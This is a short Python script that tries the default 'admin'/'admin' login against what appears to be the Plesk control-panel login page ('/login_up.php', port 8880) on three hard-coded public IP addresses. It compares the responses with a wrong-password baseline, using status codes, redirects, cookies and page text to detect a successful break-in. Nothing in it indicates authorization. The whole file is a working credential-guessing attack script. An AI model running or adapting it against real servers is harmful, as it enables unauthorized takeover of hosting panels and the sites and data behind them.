import asyncio, re
import aiohttp

HOSTS = [("154.56.134.178", 8880, "http"), ("154.56.134.221", 8880, "http"), ("216.70.69.240", 8880, "http")]
CREDS = [("admin", "zzz-wrong-999"), ("admin", "admin")]

async def main():
    tout = aiohttp.ClientTimeout(total=30)
    for ip, port, sc in HOSTS:
        base = f"{sc}://{ip}:{port}"
        print("=====", ip)
        for user, pwd in CREDS:
            async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
                try:
                    async with s.get(base + "/login_up.php", ssl=False) as r:
                        html = await r.text()
                    fields = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
                    for k in ("login_name", "passwd"):
                        fields.pop(k, None)
                    fields.update({"login_name": user, "passwd": pwd})
                    fields.setdefault("locale_id", "en-US")
                    async with s.post(base + "/login_up.php", data=fields, ssl=False, allow_redirects=False) as r2:
                        body = await r2.text()
                        loc = r2.headers.get("Location", "")
                        ck = [c.key for c in s.cookie_jar]
                    low = body.lower()
                    print(f"  {pwd:14s} st={r2.status} loc={loc[:40]:40s} cookies={ck} len={len(body)} "
                          f"incorrect={'incorrect' in low} logout={'logout' in low} dash={'dashboard' in low}")
                except Exception as e:
                    print(f"  {pwd:14s} ERR {type(e).__name__}")

asyncio.run(main())
